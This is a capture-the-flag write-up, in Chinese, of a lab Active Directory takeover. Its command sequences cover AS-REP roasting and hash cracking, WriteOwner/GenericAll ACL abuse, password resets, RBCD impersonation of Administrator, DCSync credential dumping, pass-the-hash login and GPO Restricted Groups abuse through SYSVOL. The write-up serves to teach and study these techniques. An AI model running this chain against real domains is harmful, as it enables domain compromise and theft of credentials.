[无境原创] Owners-Or-Lord 扫描扫描得到192.168.111.10应该是一台域控且域名为sec.labnmapnmap -sV -Pn 192.168.111.10fscanfscan -h 192.168.111.10bloodhound根据题目所给账户查看其所拥有的权限bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 get writable --detail接着血猎犬启动对域内进行信息收集bloodhound-python -c ALL --zip -d sec.lab -u MHTLV1 -p mht-LV1 -ns 192.168.111.10 -k发现我们已掌握的账号MHTLV1是直接到不了域控的于是对能让MHTLV1有写userAccountControl属性的计算机账户进行探测发现计算机账户$GATE有一条能到达域控的acl链路至此我们得到了一条完整的acl链路ACL链路利用MHTLV1 → GATE$查询GATE$当前状态为已禁用而这里PASSWD_NOTREQD的准确含义是密码策略不要求这个账户必须有密码而不等于账户没有密码所以GATE$依然有一个真实的、未知的密码需要我们把它爆破出来bloodyAD --host 192.168.111.10 -d sec.lab -u MHTLV1 -p mht-LV1 get object GATE$ --attr userAccountControl既然MHTLV1对这个属性有写权限就可以把整个值改成我们想要的组合改写userAccountControl为41984000x401000WORKSTATION_TRUST_ACCOUNT(0x1000)DONT_REQ_PREAUTH(0x400000)其作用也就是启用账户同时设成不需要预认证AS-REP Roasting的前提bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k set object GATE$ userAccountControl -v 4198400定向AS-REP RoastingKerberos正常流程中客户端在申请TGT之前必须先证明“我知道密码”它用密码派生的密钥加密一个时间戳发给KDC这叫预认证Pre-Authentication如果账户设置了DONT_REQ_PREAUTHKDC就会跳过这一步直接把AS-REP返回给任何请求者。AS-REP里有一段用该账户密钥加密的数据拿到它就可以离线暴力破解——这就是AS-REP Roasting不需要任何凭据只需要一个“关闭预认证”的账户名于是对账户GATE$进行定向AS-REP Roasting使用john对其hash值进行破解得到GATE$账户密码为gateGetNPUsers.py sec.lab/GATE$ -dc-ip 192.168.111.10 -no-pass -format hashcat -outputfile gate.hashjohn --wordlist/usr/share/wordlists/rockyou.txt gate.hash拿GATE$的TGTgetTGT.py sec.lab/GATE$:gate -dc-ip 192.168.111.10export KRB5CCNAMEGATE$.ccache klist注意LDAP禁用了NTLM后续所有LDAP操作必须-k -no-pass走KerberosGATE$--WriteOwner--AUTH组AD对象的所有者Owner在DACL之外天然拥有两项隐式权限① READ_CONTROL——读取该对象的安全描述符② WRITE_DAC——修改该对象的DACL也就是“谁能对这个对象做什么”所以WriteOwner本身不能直接改member、不能改密码、不能读数据它的价值是把自己变成Owner→拿到WRITE_DAC→在DACL里给自己加GenericAll→获得完全控制夺取auth所有权所以当GATE$对AUTH有WriteOwner权限时先把自己变成ownerAUTH组原本归Domain Admins所有现在归GATE$所有如果报错失败可能是未同步域控时间owneredit.py -action write -new-owner GATE$ -target AUTH sec.lab/GATE$ -dc-ip 192.168.111.10 -k -no-pass用所有权换取GenericAll现在GATE$是AUTH的Owner拥有WRITE_DAC于是可以往AUTH的DACL里写一条ACE我们让GATE$给MHTLV1授予GenericAllbloodyAD --host ad.sec.lab -d sec.lab -u GATE$ -k add genericAll AUTH MHTLV1把MHTLV1加进AUTH组bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k add groupMember AUTH MHTLV1组关系变化更新票据getTGT.py sec.lab/MHTLV1:mht-LV1 -dc-ip 192.168.111.10export KRB5CCNAMEMHTLV1.ccache klistAUTH--WriteOwner--MAIN组MHTLV1已经是AUTH组成员而组作为安全主体其权限由组内成员共享于是MHTLV1自动继承了AUTH对MAIN的WriteOwner可以重演上一节的两步走#夺取MAIN所有权owneredit.py -action write -new-owner MHTLV1 -target MAIN sec.lab/MHTLV1 -dc-ip 192.168.111.10 -k -no-pass#将GenericAll给自身bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k add genericAll MAIN MHTLV1#加入MAIN组bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k add groupMember MAIN MHTLV1再次刷新TGT此时MHTLV1已经是MAIN组成员继承MAIN对四个用户的所有权边getTGT.py sec.lab/MHTLV1:mht-LV1 -dc-ip 192.168.111.10export KRB5CCNAMEMHTLV1.ccache klistMAIN--WriteOwner--MHTLV9/MHTLV99/MHTLV999/MHTLV9999BloodHound中看到MAIN组队MHTLV用户们的权限MAIN --WriteOwner-- MHTLV9SEC.LAB (1617)MAIN --WriteOwner-- MHTLV99SEC.LAB (1618)MAIN --WriteOwner-- MHTLV999SEC.LAB (1619)MAIN --WriteOwner-- MHTLV9999SEC.LAB (1620)而这里本应有两条路可走MAIN│┌───────────┴────────────┐▼ ▼MHTLV9999 MHTLV9 / MHTLV99 / MHTLV999│ ││ GPO │ RBCD▼ ▼Default Domain Policy AD$域控第一条路MHTLV999 --AllowedToAct-- AD$域控 RBCD重新检查BloodHound中所有计算机节点的AllowedToAct字段只有域控AD.SEC.LAB非空这对应DC计算机对象上的属性msDS-AllowedToActOnBehalfOfOtherIdentity{MHTLV9, MHTLV99, MHTLV999}即这三个用户被允许代替AD$的身份即可以对域控发起RBCD攻击冒充任意用户含Administrator访问DC上的任何服务因为MAIN对这三个用户都有WriteOwner任意选择一个接管即可这里我们选择MHTLV999此时票据依旧是MHTLV1SEC.LAB#夺所有权owneredit.py -action write -new-owner MHTLV1 -target MHTLV999 sec.lab/MHTLV1 -dc-ip 192.168.111.10 -k -no-pass#给自己 GenericAllbloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k add genericAll MHTLV999 MHTLV1#重置密码bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k set password MHTLV999 hacker123RBCD冒充Administrator访问DCS4U2Self是“服务向KDC请求一张代表某个用户的、发给自己的服务票据”。因为MHTLV999是普通用户没有servicePrincipalNameKDC不把它当服务主体所以在请求S4U2Self之前要补一个SPNbloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k set object MHTLV999 servicePrincipalName -v http/MHTLV999.sec.lab申请票据S4U2Self S4U2ProxyMHTLV999--S4U2Self--拿到自己服务票据cifs/AD.sec.lab, 冒充AdministratorMHTLV999--S4U2Proxy--KDC检查AD$的AllowedToAct名单→命中→签发Administrator的cifs/AD票据getTGT.py sec.lab/MHTLV999:hacker123 -dc-ip 192.168.111.10export KRB5CCNAMEMHTLV999.ccacheklistgetST.py -spn cifs/AD.sec.lab -impersonate Administrator -dc-ip 192.168.111.10 sec.lab/MHTLV999:hacker123DCSync域控完全控制冒充域控制器向域控请求同步域内用户的密码相关数据从而获取NTLM哈希等敏感凭据export KRB5CCNAMEAdministratorcifs_AD.sec.labSEC.LAB.ccache secretsdump.py -k -no-pass -just-dc sec.lab/AdministratorAD.sec.labSHELL与FLAG根据administrator的hash横向登录并在桌面找到最终flagwmiexec.py -hashes :6f4009ffe6f419f6ebef8c5c4495f26f sec.lab/Administratorad.sec.lab cd C:\Users\Administrator\Desktop type flag.txt第二条路BloodHound显示MHTLV9999对Default Domain Policy这个GPO对象有GenericWrite/WriteOwner/WriteDacl的权限而Default Domain Policy是链接在域根上的策略域内所有计算机包括域控自己都会应用它。所以理论上可以修改该GPO的机器配置写入一条Restricted Groups受限制的组设置让域控在下次刷新策略时把自己的BUILTIN\Administrators组填充成我们指定的成员包含MHTLV1从而让MHTLV1成为域控本地管理员就可以登录拿flag注意作用范围Default Domain Policy作用于域内所有计算机不只是域控也就是说这条设置会把MHTLV1加进域内每一台机器的本地Administrators组只要它们应用了该策略在真实环境中这会造成大面积的权限扩散接管MHTLV9999此时票据依旧是MHTLV1SEC.LAB#夺所有权owneredit.py -action write -new-owner MHTLV1 -target MHTLV9999 sec.lab/MHTLV1 -dc-ip 192.168.111.10 -k -no-pass#给自己GenericAllbloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k add genericAll MHTLV9999 MHTLV1#重置密码bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 -k set password MHTLV9999 hacker123MHTLV9999取票上传统文件时必须用MHTLV9999的身份getTGT.py sec.lab/MHTLV9999:hacker123 -dc-ip 192.168.111.10export KRB5CCNAMEMHTLV9999.ccacheklistGPO结构GPO 实际上由三部分组成只改其中一部分不会生效部分内容取值AD中的GPO对象versionNumber 、 flags 、 gPCFileSysPath 、gPCMachineExtensionNamesCN{31B2F340-016D-11D2-945F-00C04FB984F9},CNPolicies,CNSystem,DCsec,DClabSYSVOL中的文件GPT.INI 与 Machine\microsoft\windowsnt\SecEdit\GptTmpl.inf\\sec.lab\SYSVOL\sec.lab\Polcies\{31B2F340-016D-11D2-945F-00C04FB984F9}链接指明这个 GPO 作用在哪个容器上Default Domain Policy 已链接在域根DCsec,DClab构造GptTmpl.inf[Group Membership]的__Members定义的是该组的完整成员列表列表里的成员会被加入不在列表里的现有成员会被移除。所以必须把原本就属于BUILTIN\Administrators的账户全部写上否则会把它们踢出去printf [Unicode]\r\nUnicodeyes\r\n[Version]\r\nsignature$CHICAGO$\r\nRevision1\r\n[Group Membership]\r\n*S-1-5-32-544__Members *S-1-5-21-2380805203-3077027388-2901856451-500,*S-1-5-21-2380805203-3077027388-2901856451-512,*S-1-5-21-2380805203-3077027388-2901856451-519,*S-1-5-21-2380805203-3077027388-2901856451-1613\r\n /tmp/GptTmpl.utf8printf \xff\xfe /tmp/GptTmpl.inficonv -f UTF-8 -t UTF-16LE /tmp/GptTmpl.utf8 /tmp/GptTmpl.inf#文件必须是UTF-16LEBOM、行尾CRLF写成UTF-8或LF安全CSE会解析失败且不一定报错进入SYSVOL并上传文件访问域控的SMB共享SYSVOL文件夹定位GPO的安全策略文件GptTmpl.inf然后先上传GptTmpl.inf文件再下载刚上传的文件impacket-smbclient sec.lab/MHTLV9999ad.sec.lab -k -no-pass -dc-ip 192.168.111.10 use SYSVOLcd SEC.LAB\POLICIES\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\microsoft\windows nt\SecEditput /tmp/GptTmpl.inflsget GptTmpl.infexit回读校验两个md5一致说明上传完整、字节没有被改写md5sum /tmp/GptTmpl.inf ./GptTmpl.infAD里的versionNumber与SYSVOL里GPT.INI的Version必须一致否则客户端会认为“策略没变”直接跳过处理这个DWORD的高低16位分别代表用户配置版本和计算机配置版本printf [General]\r\nVersion11\r\n /tmp/GPT.INIcat -A /tmp/GPT.INIimpacket-smbclient sec.lab/MHTLV9999ad.sec.lab -k -no-pass -dc-ip 192.168.111.10 use SYSVOLcd SEC.LAB\POLICIES\{31B2F340-016D-11D2-945F-00C04FB984F9}put /tmp/GPT.INIget GPT.INIexitmd5sum /tmp/GPT.INI ./GPT.INI #校验一下文件是否上传成功把AD里的versionNumber改成与GPT.INI相同的值这里我写的是11没有什么特别指定的只是前面都失败了版本号必须依次递增所以就到这个数字了#更改bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV9999 -p hacker123 set object CN{31B2F340-016D-11D2-945F-00C04FB984F9},CNPOLICIES,CNSYSTEM,DCSEC,DCLAB versionNumber -v 11#检验bloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 get object CN{31B2F340-016D-11D2-945F-00C04FB984F9},CNPolicies,CNSystem,DCsec,DClab --attr versionNumber,flags,gPCFileSysPath,gPCMachineExtensionNames验证生效与登录域控CNAdministrators,CNBuiltin是普通的AD对象 member属性任何域用户都能读。因此可以用MHTLV1的凭据轮询不需要域管权限while true; dodatebloodyAD --host ad.sec.lab -d sec.lab -u MHTLV1 -p mht-LV1 \get object CNAdministrators,CNBuiltin,DCsec,DClab --attr membersleep 60done不需要票据了直接登录即可wmiexec.py sec.lab/MHTLV1:mht-LV1ad.sec.lab对比两条路径最终都能拿到flag但利用方式和留下的痕迹完全不同。GPO分支更像“持久化 横向”的组合RBCD分支更接近“直接提权“RBCD分支GPO分支最终拿到的身份SEC\Administrator域管理员BUILTIN\Administrators域控本地管理员组能否直接DCSync有 DS-Replication-Get-Changes(-All)没有复制权限能否改Domain Admins组能对与对象没有写权限能否读NTDS.DIT通过 DCSync 走网络协议拿通过 VSS 卷影副本 本地复制文件拿权限性质域级身份主机级身份